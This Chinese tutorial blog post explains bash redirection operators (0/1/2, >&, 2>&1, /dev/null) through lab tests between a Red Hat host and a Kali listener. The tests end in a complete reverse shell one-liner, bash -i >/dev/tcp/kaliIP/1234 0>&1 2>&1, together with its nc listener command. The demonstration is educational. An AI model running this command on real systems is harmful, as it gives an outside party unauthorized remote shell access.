0x00 前言

经常接触到bash的>&符号,总是忘记或者混淆,特有此文总结。

0x01 概述

0:stdin标准输入

1:stdout标准输出

2:stderr标准错误

>:输出重定向

/dev/null:空洞,可以理解为黑洞或垃圾箱

直接ls > 1系统会误认为是把标准输出重定向到1这个文件而不是标准输出,所以加上&1表示标准输出。

标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。

>/dev/null 2>&1:把标准输出重定向到黑洞,接着标准错误重定向到标准输出,也就是扔到一样黑洞。

2>&1 >/dev/null:先把标准错误重定向到标准输出,注意这里标准输出还是默认输出到屏幕,所以会输出stderr,接着标准输出重定向到黑洞,所以输出stderr不输出stdout。

0x02 测试

测试0:

redhat:cat hi.txt >/dev/null

abcd >/dev/null 2>&1

测试1:

kali: nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234

解释:bash -i创建的交互式子shell的标准输出给了/dev/tcp/kaliIP/1234,所以在redhat中输入ls命令的输出结果在kali中显示,但是标准错误2还是在redhat中,所以输入abcd这个不存在的命令时标准错误显示在redhat中。

测试2:

kali:nc -vvlp 1234

redhat:bash -i

解释:redhat从/dev/tcp/kaliIP/1234中获得标准输入0,将ls命令的结果显示出来。由于标准错误2还在redhat,所以在kali中输入abcd这个不存在的命令时,错误信息显示在redhat,注意这里命令虽然在kali中输入,但是命令也会回显到redhat,因为标准错误2还在redhat……貌似强调得有点多了^-^!。

测试3:

kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1

解释:在redhat中将标准输出1重定向到kali,标准输入0重定向到标准输出1,也就是在kali中输入命令ls,命令传到redhat的子shell,再将命令结果输出到kali,注意这里标准错误2在redhat,所以redhat有命令回显和标准错误(如图的abcd)。

测试4:

kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1 2>&1

解释:redhat中在测试3的基础上将标准错误也重定向到标准输出,这样在redhat中就没有了标准错误信息和命令回显(包括命令提示符),这就是一个基本的反弹shell了。

通过查阅资料https://www.gnu.org/software/bash/manual/bash.pdf

可以发现

There are two formats for redirecting standard output and standard error:

&>

word

and

>&

word

Of the two forms, the first is preferred. This is semantically equivalent to

>

word

2>&1

也就是说2>&1和>&/dev/…,&>/dev/…是一样的,亲测有效。

0x03 结语

多看看官方手册还是不错的。

0x04 参考资料

linux bash -,linux bash 总结相关推荐

  1. linux重定向文件容加时间,linux – 如何在Bash中将stdout重定向到文件时添加时间戳?...

    我有一个程序(服务器),我正在寻找一种方法(脚本),将所有的stdout重定向(或更好地复制)到文件并为每个条目添加时间戳. 我做了一些研究,我能得到的最远的是得益于How to add timest ...

  2. 解决linux mysql命令 bash: mysql: command not found 的方法

    解决linux mysql命令 bash: mysql: command not found 的方法 参考文章: (1)解决linux mysql命令 bash: mysql: command not ...

  3. linux 自定义shell命令,如何在Linux中自定义bash命令提示符

    前言 众所周知, bash (the B ourne- A gain Sh ell)是目前绝大多数 Linux 发行版使用的默认 shell.本文将会介绍如何通过添加颜色和样式来自定义 bash 命令 ...

  4. linux 并行执行脚本,在bash / linux中并行运行shell脚本

    我有一个shell脚本job.sh. 内容如下: #!/bin/bash table=$1 sqoop job --exec ${table} 现在当我做./job.sh table1 该脚本成功执行 ...

  5. linux中的bash shell的特性

    linux中的bash shell特性(基础) Shell也称命令行解释器,是我们对linux进行操作最直接的接触的脚本,所以说这对我们的今后的学习过程中非常重要. 当然,linux这种功能强大的操作 ...

  6. Linux系统管理员的Bash指南,11条Bash实践经验!

    每个职业都有最常用的工具.对于许多系统管理员来说,shell可能是比较熟悉的.在大多数Linux和其他类Unix系统上,默认的shell是Bash. Bash是一个相当古老的程序,它起源于20世纪80 ...

  7. linux脚本算术函数,Linux基础之bash脚本编程初级-变量与算术运算

    什么是变量? 变量最初来源于数学,指的是非固定的值可变化的数通常用拉丁字母表示.在计算机中变量它依旧指的是可变化的数,只不过表现形式有些变化.它指的是变量名+所指向的内存空间. 以下实验环境均在Cen ...

  8. Linux基础之bash脚本编程初级-变量与算术运算

    什么是变量? 变量最初来源于数学,指的是非固定的值可变化的数通常用拉丁字母表示.在计算机中变量它依旧指的是可变化的数,只不过表现形式有些变化.它指的是变量名+所指向的内存空间. 以下实验环境均在Cen ...

  9. bash linux .ee,Linux下Bash shell学习笔记.md

    ### 1.shell下没有变量类型和定义的概念. >1. 变量直接使用不用定义 >2. 所有值都视为字符串. >3. 在对变量取值都需要加$ >4. 行注释为 # + ### ...

  10. Linux错误:bash:finger 未找到命令...

    Linux错误:bash: finger: 未找到命令- #意外用了一下finger命令,结果显示未找到命令 [root@localhost ~]# finger -l root bash: fing ...

最新文章

  1. Cell Reports:去除宿主和胞外DNA以提高微生物基因组得率(痰液样本)
  2. 天池大赛通用目标检测的对抗攻击方法一览
  3. plsql job执行多个存储过程_spring-boot-micro-job一款分布式任务调度执行框架
  4. 如何对一组 IP 地址 进行排序?
  5. (转)淘淘商城系列——maven工程debug调试
  6. 大数据的关键不是“大”,而是你真的需要它吗
  7. Python学习总结(5)——字符串
  8. Linux一些最基本命令
  9. LINUX下载编译ncurses
  10. [混迹IT职场系列]一、转正的那些事儿
  11. 猿创征文|Apache ShenYu网关插件介绍
  12. EXCEL查找与引用函数
  13. 道路交通车路协同信息服务通用技术要求
  14. 想要无所不能的女秘书,用Office 365啊
  15. 什么样的学生最坑导师?
  16. 自动关机及取消代码,bat文件代码
  17. 腾达F6路由器无线中继功能设置
  18. [趣谈网络协议学习] 03 DHCP与PXE:IP是怎么来的, 又是怎么没的?
  19. 摄影初学者挑选相机的常见问题 FAQ
  20. linux系统取消报警声,简单几步关闭Linux报警声和修改分辨率

热门文章

  1. 【LeetCode】【HOT】49. 字母异位词分组(递归)
  2. MyBatis 阶段总结
  3. 关于线程轮流打印0-99
  4. 【HDU3530】 [Sdoi2014]数数 (AC自动机+数位DP)
  5. 阅读构建之法10、11、12章
  6. Delphi unit单元文件结构
  7. C 语言 边读 边写入文件
  8. c语言强化训练作业整理1
  9. WEB OS + WEB IM(续)
  10. 息中间件kafka与activeMQ、rabbitMQ、zeroMQ、rocketMQ的比较